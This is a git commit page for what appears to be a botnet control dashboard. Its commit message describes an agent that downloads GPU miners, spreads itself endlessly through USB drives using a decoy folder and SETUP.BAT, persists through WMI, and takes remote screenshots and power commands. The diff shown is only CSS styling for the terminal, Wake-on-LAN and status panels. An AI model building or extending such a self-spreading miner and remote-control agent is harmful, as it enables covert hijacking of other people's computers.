Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
This commit is contained in:
@@ -128,7 +128,7 @@
|
||||
.tactical-bottom-row {
|
||||
display: flex;
|
||||
gap: 20px;
|
||||
height: 250px;
|
||||
height: 380px;
|
||||
}
|
||||
|
||||
.drop-zone {
|
||||
@@ -172,13 +172,32 @@
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
|
||||
.terminal-placeholder { color: #555; font-style: italic; }
|
||||
.terminal-titlebar {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 5px 10px;
|
||||
background: #0a0014;
|
||||
border-bottom: 1px solid rgba(0,229,255,0.15);
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.terminal-title { font-size: 0.7rem; color: #00e5ff; letter-spacing: 0.06em; font-weight: bold; }
|
||||
.terminal-clear-btn { background: none; border: 1px solid #333; color: #555; font-size: 0.65rem; padding: 2px 8px; border-radius: 3px; cursor: pointer; }
|
||||
.terminal-clear-btn:hover { border-color: #888; color: #ccc; }
|
||||
|
||||
.terminal-placeholder { color: #555; font-style: italic; padding: 0; }
|
||||
|
||||
.log-line.log-ok { color: #00ff88; }
|
||||
.log-line.log-err { color: #ff4444; }
|
||||
.log-line.log-live { color: #888; font-size: 0.78rem; border-top: 1px solid rgba(255,255,255,0.03); padding-top: 2px; }
|
||||
.log-line.log-warn { color: #ffaa00; }
|
||||
|
||||
.terminal-input-bar { display: flex; border-top: 1px solid #333; background: #0a0a0a; }
|
||||
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
|
||||
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
|
||||
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
|
||||
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
|
||||
.terminal-input-bar button:disabled { opacity: 0.4; cursor: not-allowed; }
|
||||
|
||||
/* Upgrade section */
|
||||
.upgrade-group { grid-column: 1 / -1; }
|
||||
@@ -212,4 +231,95 @@
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
|
||||
.log-line { line-height: 1.45; word-break: break-all; }
|
||||
.log-line { line-height: 1.45; word-break: break-all; }
|
||||
|
||||
/* Offline & busy badges in header */
|
||||
.offline-badge {
|
||||
font-size: 0.7rem;
|
||||
padding: 3px 8px;
|
||||
background: rgba(255,40,40,0.2);
|
||||
border: 1px solid rgba(255,40,40,0.5);
|
||||
border-radius: 4px;
|
||||
color: #ff6666;
|
||||
font-weight: bold;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.busy-badge {
|
||||
font-size: 0.7rem;
|
||||
padding: 3px 8px;
|
||||
background: rgba(255,171,0,0.2);
|
||||
border: 1px solid rgba(255,171,0,0.4);
|
||||
border-radius: 4px;
|
||||
color: #ffcc44;
|
||||
animation: pulse-amber 1.2s ease-in-out infinite;
|
||||
}
|
||||
.offline-dot { background: #555; box-shadow: 0 0 6px #555; }
|
||||
|
||||
@keyframes pulse-amber {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.5; }
|
||||
}
|
||||
|
||||
/* WOL section */
|
||||
.wol-row { display: flex; flex-direction: column; gap: 0.5rem; }
|
||||
.wol-toggle {
|
||||
font-size: 0.8rem;
|
||||
padding: 6px 12px;
|
||||
border-radius: 4px;
|
||||
border: 1px solid rgba(0,229,255,0.3);
|
||||
background: rgba(0,229,255,0.06);
|
||||
color: #00e5ff;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s;
|
||||
text-align: left;
|
||||
}
|
||||
.wol-toggle:hover { background: rgba(0,229,255,0.12); }
|
||||
.wol-form {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
.wol-mac-input {
|
||||
flex: 1;
|
||||
min-width: 220px;
|
||||
background: rgba(0,0,0,0.5);
|
||||
border: 1px solid rgba(0,229,255,0.25);
|
||||
border-radius: 4px;
|
||||
color: #e0e0e0;
|
||||
padding: 6px 10px;
|
||||
font-size: 0.82rem;
|
||||
font-family: 'Consolas', monospace;
|
||||
outline: none;
|
||||
}
|
||||
.wol-mac-input:focus { border-color: #00e5ff; }
|
||||
.wol-form button { white-space: nowrap; padding: 6px 14px; font-size: 0.8rem; }
|
||||
|
||||
/* Compact mode extras */
|
||||
.compact-offline-banner {
|
||||
font-size: 0.72rem;
|
||||
color: #ff6666;
|
||||
background: rgba(255,40,40,0.1);
|
||||
border: 1px solid rgba(255,40,40,0.3);
|
||||
border-radius: 4px;
|
||||
padding: 3px 8px;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
.compact-terminal {
|
||||
margin-top: 6px;
|
||||
background: #050505;
|
||||
border: 1px solid #1a1a1a;
|
||||
border-radius: 4px;
|
||||
padding: 5px 8px;
|
||||
font-family: 'Consolas', monospace;
|
||||
font-size: 0.72rem;
|
||||
max-height: 80px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
.compact-log-line {
|
||||
color: #aaa;
|
||||
line-height: 1.35;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
}
|
||||
.compact-log-line:last-child { color: #e0e0e0; }
|
||||
Reference in New Issue
Block a user